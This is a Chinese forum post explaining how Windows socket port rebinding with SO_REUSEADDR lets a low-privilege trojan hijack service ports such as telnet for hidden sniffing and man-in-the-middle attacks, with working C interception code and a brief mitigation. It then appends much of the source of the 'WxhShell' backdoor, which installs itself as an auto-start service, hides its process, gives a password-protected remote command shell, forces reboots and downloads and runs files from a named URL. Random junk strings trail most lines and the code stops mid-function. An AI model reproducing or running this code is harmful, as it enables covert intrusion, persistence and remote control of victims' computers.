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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jTcv&`fAz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n%7?G=_kj  
<4q H0<  
  saddr.sin_family = AF_INET; V9BW@G@9  
' 1gfXC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N8dxgh!,  
?l^Xauk4Pj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); " L`)^  
&b tI#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "U-jZ5o"  
5z!$=SFz  
  这意味着什么?意味着可以进行如下的攻击: XH$r(@Z\7  
YiDOV)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lbBWOx/|  
}Ze*/ p-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LD}~]  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aLGq<6Ja  
Lr$M k#'B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {4G/HW28  
K%? g6j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j fY7ich  
=\WF +r]V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r@{TN6U  
!ka* rd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *(?Wzanh  
3uqhYT;  
  #include Ww2@!ng  
  #include Z_\p8@3aH  
  #include MVsFi]-  
  #include    akzGJ3g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y(p_Unm  
  int main() r[a7">n  
  { "^n,(l*4x  
  WORD wVersionRequested; J{1H$[W~}  
  DWORD ret; Zp9. ~&4o-  
  WSADATA wsaData; EJ9hgE  
  BOOL val; a4__1N^Qj  
  SOCKADDR_IN saddr; U\Wo&giP[  
  SOCKADDR_IN scaddr; V}#X'~Ob  
  int err; l[38cF  
  SOCKET s; ,|({[ 9jA  
  SOCKET sc; ){5Nod{}a  
  int caddsize; @owneSD qN  
  HANDLE mt; }oRBQP^&K  
  DWORD tid;   T$xB H  
  wVersionRequested = MAKEWORD( 2, 2 ); 56 3mz-  
  err = WSAStartup( wVersionRequested, &wsaData ); tX{yR'Qhu  
  if ( err != 0 ) { E[]5Od5#  
  printf("error!WSAStartup failed!\n"); No'?8+i  
  return -1; ecghY=%  
  } vA1Yya B  
  saddr.sin_family = AF_INET; E+]9!fDy<  
   N>!:bF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H4w\e#|  
JNfL jfE)<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ) CP  
  saddr.sin_port = htons(23); v 3I^81  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,yYcjs!=o  
  { 4N,mcV  
  printf("error!socket failed!\n");   EO&Q  
  return -1; $oK&k}Q  
  } *|fF;-#v  
  val = TRUE; +(3_V$|Dv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mH'~pR>t  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  8b2 =n  
  { ~|V^IJZ22  
  printf("error!setsockopt failed!\n"); `t~jHe4!Y  
  return -1; !*N9PUM  
  } <1D|TrP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]%' AZ`8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Qd[_W^QI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BNu >/zGpB  
0ns\:2)cEB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a#YK1n[!  
  { zfeT>S+  
  ret=GetLastError(); !@ ^6/=  
  printf("error!bind failed!\n"); iVXt@[  
  return -1; lK0ny>RB  
  } [0 F~e  
  listen(s,2); $.SBW=^V  
  while(1) fK J-/{|  
  { @NiuT%#c  
  caddsize = sizeof(scaddr); #).$o~1ht!  
  //接受连接请求 fjh|V9H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C$OVN$lL`8  
  if(sc!=INVALID_SOCKET) 2%W;#oi?  
  { D0D=;k   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BzzC|  
  if(mt==NULL) 513,k$7  
  { 4Z"}W!A  
  printf("Thread Creat Failed!\n"); m@td[^O-  
  break; EhcJE;S)  
  } `\kihNkJn3  
  } |kYlh5/c d  
  CloseHandle(mt); ] G&*HMtp  
  } %71i&T F  
  closesocket(s); )kpEcMlR  
  WSACleanup(); N~v6K}`}  
  return 0; +[7~:e}DZ  
  }   :GXF=Df  
  DWORD WINAPI ClientThread(LPVOID lpParam) D|:'|7l W  
  { r;#"j%z  
  SOCKET ss = (SOCKET)lpParam; !6!)H8rX  
  SOCKET sc; 6Y9N= \`  
  unsigned char buf[4096]; Kxr@!m"  
  SOCKADDR_IN saddr; sdFHr4  
  long num; `H+"7SO  
  DWORD val; X0lPRk53(  
  DWORD ret; $%y q[$^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +V3mF_s|z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "o5]:]h)  
  saddr.sin_family = AF_INET; [jMN*p?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hsC T:1i  
  saddr.sin_port = htons(23); ]juPm8eF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ujU,O%.n  
  { Fc~G*Gz~Z|  
  printf("error!socket failed!\n"); nf.Ox.kM)  
  return -1; Ar`+x5  
  } cHjQwl  
  val = 100; )PX VR T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -'! J?~  
  { 77P\:xc  
  ret = GetLastError(); <J/ =$u/  
  return -1; ma.84~m  
  } hbw(o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "tJ+v*E  
  { I |Oco?Q"  
  ret = GetLastError(); ;*A'2ymXUT  
  return -1; #-/W?kD  
  } wZqYtJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4Uy%wB  
  { =)a24PDG  
  printf("error!socket connect failed!\n"); cS ~OxAS  
  closesocket(sc); ]I?.1X5d0  
  closesocket(ss); uO%0rKW  
  return -1; 2|nm> 4  
  } :gVUk\)  
  while(1) V ao:9 ~  
  { "-~ 7lY%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d)o5JD/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kwI``7g8*e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  F B]Y~;(  
  num = recv(ss,buf,4096,0); L)e" qC_-  
  if(num>0) HQqFrR  
  send(sc,buf,num,0); HI.*xkBXl&  
  else if(num==0) 66yw[,Y  
  break; -ss= c#  
  num = recv(sc,buf,4096,0); AZj&;!}  
  if(num>0) C/kf?:j  
  send(ss,buf,num,0); ~iL^KeAp   
  else if(num==0) 9/ <3mF@E  
  break; h0{X$&:  
  } dSM\:/t  
  closesocket(ss); O0  'iq^g  
  closesocket(sc); yW_yHSx;  
  return 0 ; @!8aZB3odt  
  } jLAEHEs  
z0z@LA4k6@  
Qb536RpcTY  
========================================================== E&M(QX5  
c;l!i-  
下边附上一个代码,,WXhSHELL XiUq#84Q  
UP~28%>X  
========================================================== 0SQ!lr  
Z)?$ZI@  
#include "stdafx.h" <kh.fu@.Q  
-F5B Jk  
#include <stdio.h> honh 'j  
#include <string.h> $0])%   
#include <windows.h> 6u[fCGi%  
#include <winsock2.h> 3I6ocj [,  
#include <winsvc.h> }vndt*F   
#include <urlmon.h> (b&g4$!x&5  
=sJ?]U  
#pragma comment (lib, "Ws2_32.lib") R\j~X@vI  
#pragma comment (lib, "urlmon.lib") &K ~k'P~m  
&g`&#IRz  
#define MAX_USER   100 // 最大客户端连接数 m,.Y:2?*V  
#define BUF_SOCK   200 // sock buffer +VIA@`4  
#define KEY_BUFF   255 // 输入 buffer 0vY_  
(3Db}Hnn  
#define REBOOT     0   // 重启 je] DR~  
#define SHUTDOWN   1   // 关机 '&IGdB I  
I"Oq< _  
#define DEF_PORT   5000 // 监听端口 o Pe|Gfv\G  
)6"}M;v  
#define REG_LEN     16   // 注册表键长度 c~ss^[qx|  
#define SVC_LEN     80   // NT服务名长度  RD$:.   
%OQdUH4x  
// 从dll定义API X9x`i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W06aj ~7Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?cU,%<r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |]\zlH"w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fY<#KM6X  
AwM`[`ReE  
// wxhshell配置信息 `7 "="T~ *  
struct WSCFG { 5pQpzn =  
  int ws_port;         // 监听端口 `fv5U%  
  char ws_passstr[REG_LEN]; // 口令 fzsy<Vl",  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9"~ FKMN  
  char ws_regname[REG_LEN]; // 注册表键名 Z #[?~P  
  char ws_svcname[REG_LEN]; // 服务名 a6{Zp{"Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J8ni}\f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4cjfn'x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fdl.3~.C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c(Q@5@1y:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dCC*|b8h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 & 3#7>oQ  
I8xdE(o8+  
}; ( t&RFzE?G  
K_i|cYGV  
// default Wxhshell configuration ww2mL <B  
struct WSCFG wscfg={DEF_PORT, pMfb(D"  
    "xuhuanlingzhe", wQxI({k@  
    1, 1@]&iZ]  
    "Wxhshell", )[rVg/m  
    "Wxhshell", vsGKCrLwh  
            "WxhShell Service", Al>d 21U  
    "Wrsky Windows CmdShell Service", qBEp |V  
    "Please Input Your Password: ", Tzq@ic#!B  
  1, +nYFLe  
  "http://www.wrsky.com/wxhshell.exe", d$!Q6ux;  
  "Wxhshell.exe" g=Xf&}&=x  
    }; ~\":o:qyc  
{>>X3I  
// 消息定义模块 3?Pg ;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mjeJoMvN)H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b3A0o*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mU5Ox4>&9  
char *msg_ws_ext="\n\rExit."; t.P@Ba^  
char *msg_ws_end="\n\rQuit."; "\4W])30  
char *msg_ws_boot="\n\rReboot..."; GJ9>i)+h;  
char *msg_ws_poff="\n\rShutdown..."; yD+4YD  
char *msg_ws_down="\n\rSave to "; *X0>Ru[  
yl[I'fX66  
char *msg_ws_err="\n\rErr!"; Ss[[V(-  
char *msg_ws_ok="\n\rOK!"; ,i:?c  
!XPjRdq  
char ExeFile[MAX_PATH]; W[2]$TwT  
int nUser = 0; Xa[k=qFo  
HANDLE handles[MAX_USER]; =j.TDv'^nd  
int OsIsNt; t3<MoDe7`r  
sz9W}&(j  
SERVICE_STATUS       serviceStatus; bzr2Zj{4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oE ' P  
" U\RN  
// 函数声明 UtQj<18<  
int Install(void); <)7aNW.  
int Uninstall(void); b\P:a_vq  
int DownloadFile(char *sURL, SOCKET wsh); q G%Y& P  
int Boot(int flag); x|O7}oj  
void HideProc(void); v,w af`)J  
int GetOsVer(void); Giyh( DL  
int Wxhshell(SOCKET wsl); {&5lZ<nu8A  
void TalkWithClient(void *cs); m8sd2&4  
int CmdShell(SOCKET sock); .}==p&(  
int StartFromService(void); VN`.*B|9[  
int StartWxhshell(LPSTR lpCmdLine); 2KLMFI.F  
ibkB>n{(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U,g8:M xHK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H4g8 1V=  
1 Pk+zBJ$  
// 数据结构和表定义 ~P3b5 -  
SERVICE_TABLE_ENTRY DispatchTable[] = BH:A]#_{  
{ (`(D $%  
{wscfg.ws_svcname, NTServiceMain}, J[ZHAnmPH  
{NULL, NULL} :nx+(xgw  
}; jVff@)_S  
Kg%9&l  
// 自我安装 J(]|)?x2  
int Install(void) kL8rqv^  
{ 9c@M(U@Yh  
  char svExeFile[MAX_PATH]; w;'XqpP$*|  
  HKEY key; ~?\U];l  
  strcpy(svExeFile,ExeFile); q?!HzZ  
uu6 JZp  
// 如果是win9x系统,修改注册表设为自启动 ~F"S]  
if(!OsIsNt) { 2!#g\"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #^}H)>jWy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oU\]#e^  
  RegCloseKey(key); Rqe. =+Qs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xfRp_;l+R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^KhJBM/Z  
  RegCloseKey(key); Pe<VPf9+  
  return 0; wgFX')l:  
    } SkjG}  
  } 2uj .*  
} HE&)N clY  
else { UarLxPQ  
P@v"aa\@2)  
// 如果是NT以上系统,安装为系统服务 5wue2/gl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 78l);/E{v  
if (schSCManager!=0) $1.-m{Bd  
{ HVa9b;  
  SC_HANDLE schService = CreateService JSL&` `  
  ( m.D8@[y  
  schSCManager, aE~T!h  
  wscfg.ws_svcname, N<Sl88+U  
  wscfg.ws_svcdisp, a>47k{RSzE  
  SERVICE_ALL_ACCESS, m.lR]!Y=w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oJa}NH   
  SERVICE_AUTO_START, #Z1%XCt  
  SERVICE_ERROR_NORMAL, z|pt)Xl  
  svExeFile, z/\OtYz  
  NULL, "rB B&l  
  NULL, T AG@Ab  
  NULL, wV )\M]@  
  NULL, Ph^1Ko" 2  
  NULL u+8"W[ZULq  
  ); $gr>Y2i  
  if (schService!=0) i^DMnvV.  
  { [FBS|v#T  
  CloseServiceHandle(schService); k[f2`o=  
  CloseServiceHandle(schSCManager); f&<+45JI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R+HX'W  
  strcat(svExeFile,wscfg.ws_svcname); }H ~-oYMu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j|KDgI<0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -,y p?<  
  RegCloseKey(key); 8&JB_%Gb  
  return 0; y i$+rPF1  
    } |enLv12Gm  
  } w"{DLN[Qw  
  CloseServiceHandle(schSCManager); Va )W[I  
} %`i*SF(gV  
} 8\s#law  
SJ]6_4=y*  
return 1; P!79{8  
} (_ G>dP_  
 E0!d c  
// 自我卸载 |y^=(|eM  
int Uninstall(void) -))S  
{ h(=<-p @  
  HKEY key; A:m+v{*`4  
G2|jS@L#  
if(!OsIsNt) { Ph yIea  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 35l%iaj]G5  
  RegDeleteValue(key,wscfg.ws_regname); /ZyMD(_J  
  RegCloseKey(key); ,IB\1#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DQGrXMpV0  
  RegDeleteValue(key,wscfg.ws_regname); FO*Gc Z  
  RegCloseKey(key); }||u {[  
  return 0; {&+M.Xn  
  } UOb` @#  
} SnG(/1C8  
} +&S 7l%-  
else { @ujwN([I  
Nvd(?+c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lJ;Wi  
if (schSCManager!=0) >@7$=Y>D  
{ '> ib K|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y'm!h?8  
  if (schService!=0) p6%Vf  
  { \ ku5%y  
  if(DeleteService(schService)!=0) { $wAR cS  
  CloseServiceHandle(schService); Ba[,9l[  
  CloseServiceHandle(schSCManager); W yM1s+@  
  return 0; - VJx)g  
  } loIb}8  
  CloseServiceHandle(schService); a <C?- g|  
  } JOuyEPy  
  CloseServiceHandle(schSCManager); opH!sa@U  
} *;@wPT  
} 1 !_p  
TVNgj.`+u!  
return 1; %tP*_d:  
} Q0(6n8i  
Ry >y  
// 从指定url下载文件 Po58@g  
int DownloadFile(char *sURL, SOCKET wsh) + ,Krq 3P  
{ l/={aF7+  
  HRESULT hr; D^4nT,&8  
char seps[]= "/"; Oa/zE H  
char *token; P<IDb%W  
char *file; A'#d:lOA  
char myURL[MAX_PATH]; -gvfz&Lz  
char myFILE[MAX_PATH]; ?# w} S%  
ktrIi5B  
strcpy(myURL,sURL); Xr  <H^X  
  token=strtok(myURL,seps); wF`Y ,@  
  while(token!=NULL) *b>RUESF  
  { `,6|6.8#  
    file=token; 9^F3r]bH  
  token=strtok(NULL,seps); qHZDo[  
  } s|WwB T  
P] *x6c^n  
GetCurrentDirectory(MAX_PATH,myFILE); U> lf-iI2B  
strcat(myFILE, "\\"); 8)>x)T  
strcat(myFILE, file); ]mMJ6n  
  send(wsh,myFILE,strlen(myFILE),0); 42]7N3:'  
send(wsh,"...",3,0); #_.J kY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |'z8>1  
  if(hr==S_OK) E[t0b5h  
return 0; s $Vv  
else }. &ellNQ  
return 1; ir<e^a  
"`ftcJUd  
} lQ?jdi  
Wu 0:X*>}p  
// 系统电源模块 _Gq6xv\b1  
int Boot(int flag) d#E&,^@M  
{ }gQ2\6o2g  
  HANDLE hToken; Rq}lW.<r  
  TOKEN_PRIVILEGES tkp; {3x>kRaKci  
l L;5*@  
  if(OsIsNt) { Nbr$G=U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ms|c" ?se  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qn8xe,  
    tkp.PrivilegeCount = 1; I]C Y>'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3aq'JVq   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0o+Yjg>\~8  
if(flag==REBOOT) { o=R(DK# U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R` < ^/h  
  return 0; 3'.@aMA@  
} bVUIeX'  
else { n/skDx TE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #B5,k|"/,M  
  return 0; o{y}c->  
} Wa|V~PL+T  
  } d9$RmCHe}  
  else { G{!er:Vwdh  
if(flag==REBOOT) { 5csh8i'V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O?X[&t  
  return 0; @#4-4.6I<x  
} &1Ndi<Y^  
else { _94 W@dW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ??"_o3  
  return 0; esJ7#Gxt  
} 1*=ev,Z  
} j"nOxs  
W+&5G(z~  
return 1; d AcSG  
} I5M\PK/  
KzVi:Hm  
// win9x进程隐藏模块 O#U maNj/  
void HideProc(void) % [$HX'Y  
{ i"G'#n~e  
?z1v_Jh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Oin9lg-jR  
  if ( hKernel != NULL ) l?*DGW(t{  
  { M<Wi:r:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9;#RzelSp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W q<t+E[  
    FreeLibrary(hKernel); ,Iyc0  
  } .j:,WF<"l5  
FPYk`D  
return; tkctwjD  
} Lyhuyb)k5^  
 ?CAU+/  
// 获取操作系统版本 [1vm~w'  
int GetOsVer(void) g.&B8e  
{ Q!P%duO  
  OSVERSIONINFO winfo; 6axxyh%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \!\:p/f  
  GetVersionEx(&winfo); kxhsDD$@p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 59oTU  
  return 1; B2[f1IMI  
  else }i!+d,|f  
  return 0; .rK0C)  
} 6nk }k]Ji  
RU ~na/3  
// 客户端句柄模块 #tR:W?!  
int Wxhshell(SOCKET wsl) 8Q Try%  
{ ~3:VM_  
  SOCKET wsh; D 5rH6*J  
  struct sockaddr_in client; i%9vZ  
  DWORD myID; nNCR5&,q  
zgGysjV  
  while(nUser<MAX_USER) w80X~  
{ K(?V]Mxl6  
  int nSize=sizeof(client); Q("m*eMRt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WkuCn T  
  if(wsh==INVALID_SOCKET) return 1; %k#+nad  
b23A&1X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n0=]C%wr  
if(handles[nUser]==0) &|XgWZS5  
  closesocket(wsh); U(f@zGV  
else nG'Yo8I^5  
  nUser++; ?1ey$SSU]  
  } `NQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); futYMoV  
%AO6 =  
  return 0; 9&* 7+!  
} L"'=[O~  
-4x! #|]  
// 关闭 socket &`qYe)1Eo  
void CloseIt(SOCKET wsh) TAUl{??,  
{ sa+ JN^[X  
closesocket(wsh); h-PJC/>  
nUser--; MUl`0H"tR  
ExitThread(0); B[ZQn]y  
} &^$@LH3  
PaSwfjOnqr  
// 客户端请求句柄 <Z-Pc?F&(k  
void TalkWithClient(void *cs) \) dp  
{ oSrA4g  
fZ-"._9UyH  
  SOCKET wsh=(SOCKET)cs; %$ya>0?mq  
  char pwd[SVC_LEN]; wK2$hsque  
  char cmd[KEY_BUFF]; QT+kCN  
char chr[1]; US)i"l7:H*  
int i,j; us.[wp'Sh  
C[,h!  
  while (nUser < MAX_USER) { @S3L%lOH  
) ' xyK  
if(wscfg.ws_passstr) { *R+M#l9D`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1< vJuF^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !U?C _  
  //ZeroMemory(pwd,KEY_BUFF); Y)k"KRW+  
      i=0; Ze%S<xT!O  
  while(i<SVC_LEN) { 1vq2`lWpx  
2e\"?yOD  
  // 设置超时 o*204BGB  
  fd_set FdRead; uM$b/3%s  
  struct timeval TimeOut; Gs~eRcIB  
  FD_ZERO(&FdRead); Y!j/,FU  
  FD_SET(wsh,&FdRead); ^!B]V>L-  
  TimeOut.tv_sec=8; diNSF-wi,,  
  TimeOut.tv_usec=0; gN}$$vS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <zqIq9}r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F2zo !a8  
oqvu8"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 93n%:?l"<W  
  pwd=chr[0]; B-LV/WJ_  
  if(chr[0]==0xd || chr[0]==0xa) { L&+k`b  
  pwd=0; 0i}.l\  
  break; bDDP:INm.  
  } Y"t|0dO%b  
  i++; dXDyY  
    } q2xAx1R`sV  
iY`[dsT  
  // 如果是非法用户,关闭 socket }N9PV/a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P6%qNR/ x  
} R7IFlQH%  
s[7$%|~W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h*^JFZb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qf K gNZ  
7J3A]>qU  
while(1) { kmBA  
_L)LyQD]T  
  ZeroMemory(cmd,KEY_BUFF); Gd C=>\]  
<!t;[ie?y  
      // 自动支持客户端 telnet标准   Gu{1%bb#kL  
  j=0; fUvXb>f,  
  while(j<KEY_BUFF) { kDJYEI9j>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JQ ?8yl  
  cmd[j]=chr[0]; .?#Q(eLj  
  if(chr[0]==0xa || chr[0]==0xd) { \0lQ1FrY  
  cmd[j]=0; vV"YgN:  
  break; %ly&~&0  
  } bo/U5p  
  j++; R}(Rv3>Xx  
    } Ox ,Rk  
[.l,#-vp  
  // 下载文件 Y|mtQ E?c  
  if(strstr(cmd,"http://")) { 0;a10b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !JdZ0l  
  if(DownloadFile(cmd,wsh)) 0Bgj.?l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a:P+HU:  
  else %d:cC:`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x%)oL:ue  
  } UK'8cz9  
  else { 6a9:P@tY  
}cUO+)!Y  
    switch(cmd[0]) { qCVb-f  
  w:I!{iX  
  // 帮助 _$A?  
  case '?': { iPCn-DoIS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'xuxMav6m  
    break; w?_'sP{pd  
  } fvta<  
  // 安装 DQObHB8L  
  case 'i': { = <A0;  
    if(Install()) ~Q^.7.-T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hH$9GL{H  
    else >8>s K(S]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z!q$d/1  
    break; .,VLQ btg  
    } `E;xI v|  
  // 卸载 uYO$gRem  
  case 'r': { ENA"T-p  
    if(Uninstall()) w}/+3z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p1GP@m,^n0  
    else 2I suBX\[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?1|\(W#  
    break; g9Dynm5  
    } q(EN]W],  
  // 显示 wxhshell 所在路径 :V6t5I'_  
  case 'p': { ?;w`hA3ei  
    char svExeFile[MAX_PATH]; \u6.*w5TI  
    strcpy(svExeFile,"\n\r"); q(46v`u  
      strcat(svExeFile,ExeFile); D @wIbU  
        send(wsh,svExeFile,strlen(svExeFile),0); cAx$W6S  
    break; ,ZYPffu<*  
    } }]1C=~lC  
  // 重启 `)8S Ix  
  case 'b': { |BtFT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jc32s}/H  
    if(Boot(REBOOT)) +u |SX/C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f\hQ>MLzt  
    else { > B;YYj~f}  
    closesocket(wsh); -jNnx*  
    ExitThread(0); 1uyd+*/(xP  
    } _b)Ie`a.H  
    break; hBz>E 4mEv  
    } .i;?8?  
  // 关机 DgRn^gL{Q  
  case 'd': { L;Ynq<x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6 %`h2Z  
